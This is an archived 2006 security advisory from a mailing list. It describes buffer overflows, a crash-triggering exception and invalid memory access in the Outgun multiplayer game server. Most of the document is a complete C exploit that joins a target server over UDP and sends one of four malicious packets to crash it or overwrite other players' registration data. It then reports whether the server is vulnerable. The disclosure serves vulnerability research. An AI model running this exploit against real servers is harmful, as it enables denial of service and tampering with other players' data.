Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Ov

Subject: [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
Date: 14 May 2006 18:13:16 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
------------------------------------------------------------------------


SUMMARY

" <http://koti.mbnet.fi/outgun/> Outgun is a simple multiplayer capture 
the flag game in 2D top-view, to be played on a network"

Improper handling of sockets allows attackers to execute arbitrary code, 
change players information or cause exceptions in Outgun.

DETAILS

Vulnerable Systems:
 * Outgun 1.0.3 bot 2 and prior

data_file_request command buffer-overflow:
The game supports the downloading of map files directly from the server in 
which the clients want to play.
The request for the downloading of the map is composed by the command 
data_file_request and two text strings for the type and name of the 
requested file.
The buffers in which the server stores these two strings have a size of 64 
and 256 bytes and the function readString doesn't check the length of the 
destination buffer during the copying.

From src/servnet.cpp:
void ServerNetworking::incoming_client_data(int id, char *data, int 
length) {
    ...
            else if (code == data_file_request) {
                char ftype[64];
                char fname[256];
                readString(msg, count, ftype);
                readString(msg, count, fname);

Exception with big data:
The leetnet functions used in the game for handling the packets 
automatically raise an exception (throw) if a data bigger than 512 
(DATA_BUF_SIZE) bytes is received.
The effect is the immediate interruption of the game.

From src/leetnet/rudp.cpp:
class data_ci : public data_c {
public:

    //allocated length, used length
    int alen, ulen;

    //data buffer
    char buf[DATA_BUF_SIZE];

    //extend buffer to fit additional len
    void extend(int len) {
        if (len + ulen > DATA_BUF_SIZE) {
            throw 66677;
        }
    ...

Invalid memory access in messages handling:
The leetnet functions support a maximum amount of 64 messages in each 
incoming packet but no checks are made for avoiding the reading of the 
unallocated memory after the packet if an attacker uses wrong message 
sizes.

From src/leetnet/rudp.cpp:
    virtual char* process_incoming_packet(int *size, bool *special) {
    ...
        NLulong msgid;
        NLshort msgsize;
        for (i=0; i<nreliable; i++) {       // read all reliable msgs
            readLong(udp_data, count, msgid);       //id
            readShort(udp_data, count, msgsize);    //size

            //if (debug) printf("(%i,%i)", msgid, msgsize);

            // station will process the incoming reliable message
            process_incoming_message(msgid, (udp_data + count), msgsize);

            //advance count since we didn't "readBlock"
            count += msgsize;

            //p->add_reliable(msgid, (udp_data + count), msgsize);  //data
        }
    ...

Buffer-overflow on a global variable in changeRegistration:
changeRegistration is the function for handling the changing of the
registration informations of the clients.
This function uses strcpy for copying the client's token in a buffer of
64 bytes located in the global array of the clients informations.
During my tests (limited by the problem described in bug B) was not
possible to exploit this bug for crashing the server but I was only
able to modify some of the informations of the other players in the
server.

From src/servernet.cpp:
bool Server::changeRegistration(int id, const string& token) {
    const int intoken = atoi(token.c_str());
    if (intoken == client[id].intoken)
        return false;

    // v0.4.9 FIX : IF HAD previous token have/valid, then FLUSH his stats
    network.client_report_status(id);

    strcpy(client[id].token, token.c_str());
    ...

Exploit:
winerr.h can be found at:  
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html> 
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/param.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define stristr strcasestr
    #define ONESEC  1
#endif

#define VER                     "0.1"
#define PORT                    25000
#define BUFFSZ                  4096
#define BOFSZ                   400     // for exploiting ftype
#define DATA_BUF_SIZE           512     // if (len + ulen > DATA_BUF_SIZE) 
throw 66677;
#define CHREGSZ                 510     // not exploitable, it's here only 
for testing

#define GET32(x)                ntohl(*(uint32_t *)(x))

#define PUT8(x,y)               *x++ = y;
#define PUT16(x,y)              *(uint16_t *)x = htons(y);  \
                                x += 2;
#define PUT32(x,y)              *(uint32_t *)x = htonl(y);  \
                                x += 4;
#define PUTSTR(x,y)             x += mycpy(x, y);
#define PUTMEM(x,y,z)           memcpy(x, y, z);            \
                                x += z;

#define GAME_STRING             "Outgun"
#define GAME_PROTOCOL           "1.0"
#define LEETNET_VERSION         1
#define MAX_INCOMING_MESSAGES   64

void delimit(u_char *data);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int 
err);
int create_rand_string(u_char *data, int len, u_int *seed);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);

struct  sockaddr_in peer;

enum Network_data_code {
    data_name_update,
    data_text_message,
    data_first_packet,
    data_frags_update,
    data_flag_update,
    data_rocket_fire,
    data_old_rocket_visible,
    data_rocket_delete,
    data_power_collision,
    data_score_update,
    data_sound,
    data_pup_visible,
    data_pup_picked,
    data_pup_timer,
    data_weapon_change,
    data_map_change,
    data_world_reset,
    data_gameover_show,
    data_start_game,
    data_deathbringer,
    data_file_request,
    data_file_download,
    data_file_ack,
    data_registration_token,
    data_registration_response,
    data_tournament_participation,
    data_crap_update,
    data_map_time,
    data_fire_on,
    data_fire_off,
    data_suicide,
    data_drop_flag,
    data_stop_drop_flag,
    data_change_team_on,
    data_change_team_off,
    data_map_exit_on,
    data_map_exit_off,
    data_client_ready,
    data_map_list,
    data_map_votes_update,
    data_map_vote,
    data_stats,
    data_team_stats,
    data_capture,
    data_kill,
    data_flag_take,
    data_flag_return,
    data_flag_drop,
    data_players_present,
    data_new_player,
    data_spawn,
    data_movements_shots,
    data_team_movements_shots,
    data_fav_colors,
    data_name_authorization_request,
    data_server_settings,
    data_reset_map_list,
    data_stats_ready,
    data_player_left,
    data_team_change,
    data_5_min_left,
    data_1_min_left,
    data_30_s_left,
    data_time_out,
    data_extra_time_out,
    data_normal_time_out,
    data_too_much_talk,
    data_mute_notification,
    data_tournament_update_failed,
    data_player_mute,
    data_player_kick,
    data_disconnecting,
    data_idlekick_warning,
    data_map_change_info,
    data_broken_map,
    data_reserved_range_first,  // reserve some codes for extensions that 
are otherwise protocol compatible
    data_reserved_range_last = data_reserved_range_first + 20,  // make 
sure you don't use more!
    data_return_to_reserved_range_start_hack = data_reserved_range_first - 
1,
    data_current_map
    // insert extensions here
};

int main(int argc, char *argv[]) {
    int     sd,
            attack,
            len;
    u_int   seed,
            pckid,
            smsgid;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            bof[DATA_BUF_SIZE + 1],
            *p,
            *b;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Outgun <= 1.0.3 (bot 2) multiple vulnerabilities " VER "\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            " 1 = data_file_request command buffer-overflow\n"
            " 2 = big data exception (throw 66677)\n"
            " 3 = invalid memory access in messages handling\n"
            " 4 = changeRegistration, strcpy() on a global var of 64 
bytes\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);

    if(argc > 3) port    = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    seed = time(NULL);

    printf("- request info:\n");
    p = buff;
    PUT32(p, 0);                        // packid
    PUT32(p, 200);                      // smsgid = 200
    PUT16(p, seed);                     // clientside gamespy entry 
(merged here)

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
    close(sd);
    printf("  %s\n", buff + 10);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    printf("- join server\n");
    p = buff;
    PUT32(p, 0);                        // packid
    PUT32(p, 1);                        // smsgid = hello
    PUT32(p, LEETNET_VERSION);          // LEETNET_VERSION

    b = p;  p += 4;
    PUTSTR(p, GAME_STRING);
    PUTSTR(p, GAME_PROTOCOL);
    create_rand_string(bof, 32, &seed);
    PUTSTR(p, bof);
    PUTSTR(p, "");                      // m_serverPassword (not 
implemented in this PoC)
    PUTSTR(p, "");                      // m_playerPassword (not 
implemented in this PoC)
    PUT32(b, (p - b) - 4);

    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);

    pckid  = GET32(buff);
    smsgid = GET32(buff + 4);
    if(!pckid && (smsgid == 201)) {
        printf("\nError: server is full\n\n");
        exit(1);
    }

/*
    peer.sin_port = *(uint16_t *)(buff + 10);
    len = send_recv(sd, "", 0, NULL, 0, 0);
    peer.sin_port = htons(port);
*/

        // NLulong                          packet_id
        // NLulong                          acked packet (latest received 
by remote)
        // NLbyte                           number of reliable messages
        // for each reliable message:
        //      NLulong                     message id
        //      NLshort                     message size
        //      NLbyte[message size]        the reliable message data
        // (FIX: NLshort                    unreliable data size --- 
inferido do packet size!!!)
        // NLbyte[unreliable data size]     all the unreliable data glued 
in a big chunk

    printf("- send malicious data\n");
    p = buff;
    PUT32(p, 1);                        // packet_id
    PUT32(p, pckid);                    // acked packet
    if(attack == 3) {
        PUT8(p, MAX_INCOMING_MESSAGES); // number of messages
    } else {
        PUT8(p, 1);                     // number of messages
    }

    PUT32(p, 1);                        // first message (message id)
    b = p;  p += 2;                     // message size

    if(attack == 1) {
        PUT8(p, data_file_request);
        memset(bof, 'a', BOFSZ);
        bof[BOFSZ] = 0;
        PUTSTR(p, bof);                 // ftype
        PUTSTR(p, "fname");             // fname

    } else if(attack == 2) {
        PUT8(p, data_name_update);      // any command is the same
        memset(p, 0xff, DATA_BUF_SIZE);
        p += DATA_BUF_SIZE;

    } else if(attack == 3) {
        PUT8(p, data_name_update);      // any command is the same

    } else if(attack == 4) {
        PUT8(p, data_registration_token);
        memset(bof, 'z', CHREGSZ);
        bof[CHREGSZ] = 0;
        PUTSTR(p, bof);
    }

    if(attack == 3) {
        printf("- note: if the server doesn't crash, retry again\n");
        PUT16(b, -1);
    } else {
        PUT16(b, (p - b) - 2);
    }

    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);

    close(sd);

    printf("- check server:\n");
    p = buff;
    PUT32(p, 0);
    PUT32(p, 200);
    PUT16(p, seed);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0 ) {
        printf("\n  Server IS vulnerable!!!\n\n");
    } else {
        printf("\n  Server doesn't seem vulnerable\n\n");
    }
    close(sd);
    return(0);
}

void delimit(u_char *data) {
    while(*data && (*data != '\n') && (*data != '\r')) data++;
    *data = 0;
}

int mycpy(u_char *dst, u_char *src) {
    u_char  *p;

    for(p = dst; *src; src++, p++) {
        *p = *src;
    }
    *p++ = 0;
    return(p - dst);
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int 
err) {
    int     retry,
            len;

    if(in && !out) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        return(0);

    } else if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, 
sizeof(peer))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            fputs("\nError: socket timeout, no reply received\n\n", 
stdout);
            exit(1);
        }

    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}

int create_rand_string(u_char *data, int len, u_int *seed) {
    u_int   rnd;
    u_char  *p;
    const static u_char table[] =
                "0123456789"
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                "abcdefghijklmnopqrstuvwxyz";

    rnd = *seed;
    p   = data;

    len = rnd % len;
    if(len < 3) len = 3;

    while(--len) {
        rnd = (rnd * 0x343FD) + 0x269EC3;
        rnd >>= 3;
        *p++ = table[rnd % (sizeof(table) - 1)];
    }
    *p++ = 0;

    *seed = rnd;
    return(p - data);
}

int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/outgunx-adv.txt> 
http://aluigi.altervista.org/adv/outgunx-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows), SecuriTeam <=